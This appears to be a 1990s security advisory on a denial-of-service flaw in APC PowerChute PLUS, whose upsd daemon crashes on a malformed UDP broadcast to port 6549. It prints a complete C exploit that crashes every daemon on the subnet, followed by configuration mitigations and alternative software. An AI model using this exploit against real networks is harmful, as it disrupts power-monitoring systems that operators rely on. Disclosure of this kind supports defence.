COMMAND

    UPS

SYSTEMS AFFECTED

    Systems running APC UPS PowerChute PLUS v4.2.2 (prior?)

PROBLEM

    Theo Schlossnagle foound following (tested under Solaris x86  2.5,
    2.5.1,  2.6  with  a  APC  Smart  UPS  700).   The PowerChute PLUS
    software distributed with the UPSs provides a TCP/IP (UDP/IP)  way
    to communicate with (for monitoring) UPS on the local subnet.   It
    listens on port 6549 and listens for broadcast requests (UDP).  So
    if you  make as  if you  are actually  requesting information, but
    send it the wrong packet... Well  end of ./_upsd (the name of  the
    daemon).  The REALLY BAD news is that ALL upsd's on the subnet are
    effected (UDP broadcast).

    Exploit  follows,  but  before  that  note  that  you don't need a
    specific  exploit  program  to  crash  PowerChute  software.  Some
    port-scanners will crash it (UNIX and NT platform).

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>

    int main(int argc, char **argv) {
    int s;
    long on=1;
    size_t addrsize;
    char buffer[256];
    struct sockaddr_in toaddr, fromaddr;
    struct hostent h_ent;

    if(argc!=2) {
      fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]);
      exit(0);
    }
    s = socket(AF_INET,SOCK_DGRAM,0);
    setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));

    printf("Crashing upsd on host's subnet: %s\n", argv[1]);

    toaddr.sin_family = AF_INET;
    toaddr.sin_port = htons(0);
    toaddr.sin_addr.s_addr = 0x00000000;
    bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in));
    toaddr.sin_port = htons(6549);
    memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent));
    memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr));
    toaddr.sin_addr.s_addr |= 0xff000000;
    strcpy(buffer, "027|1|public|9|0|0|2010~|0\0");
    sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr,
	   sizeof(struct sockaddr_in));

    printf("Crashed...\n");
    close(s);

    }

    Let's hope  this UDP  port is  just used  by the  UPS's to  report
    problems, and that  PowerChute doesn't use  that to make  critical
    decisions (like shutdown).

SOLUTION

    Use the freely  availavle upsd without  TCP/IP control.   It works
    well well with the  PowerChute Series.  Also,  Powerchute software
    will  not  listen  on  the  net  if  you  have  the  following  in
    powerchute.ini:

        [ Network ]
         UseTCP = NO

    With UseTCP set to NO this machine doesn't show up in the list  of
    remote  ups's  when  using  the  powerchute  admin  interface from
    another machine on the same subnet.

    There's also a program  available called 'apcupsd' which  has some
    really nice features if you have an APC UPS.  With a BkPro500  and
    works  great.   The  machine  with  the  UPS  will  even let other
    machines on the network know when there are power problems.  There
    is also  apcd using  smart mode,  reporting status  info and being
    able to chain daemons and shut down more than one machines. Source
    IS  available,  a  safe  bet  is  the Debian/Linux source tree all
    around the world, for example:

        ftp://ftp.us.debian.org/debian/dists/hamm/main/source/admin/apcd_*

    There is a simple C++ class  that allows monitoring of UPS on  the
    network via UDP.   This distribution also  includes the  "exploit"
    that  forces  _upsd  to  just  "go  away"  on  machines running it
    listening to UDP.  The GUI stuff is written in Motif.  And it  was
    developed on  Solaris, so  good luck  you are  running a different
    platform.   There aren't  all that  many syscalls,  so it wouldn't
    imagine it being hard to port:

        http://www.omniti.com/~jesus/xups.tar.gz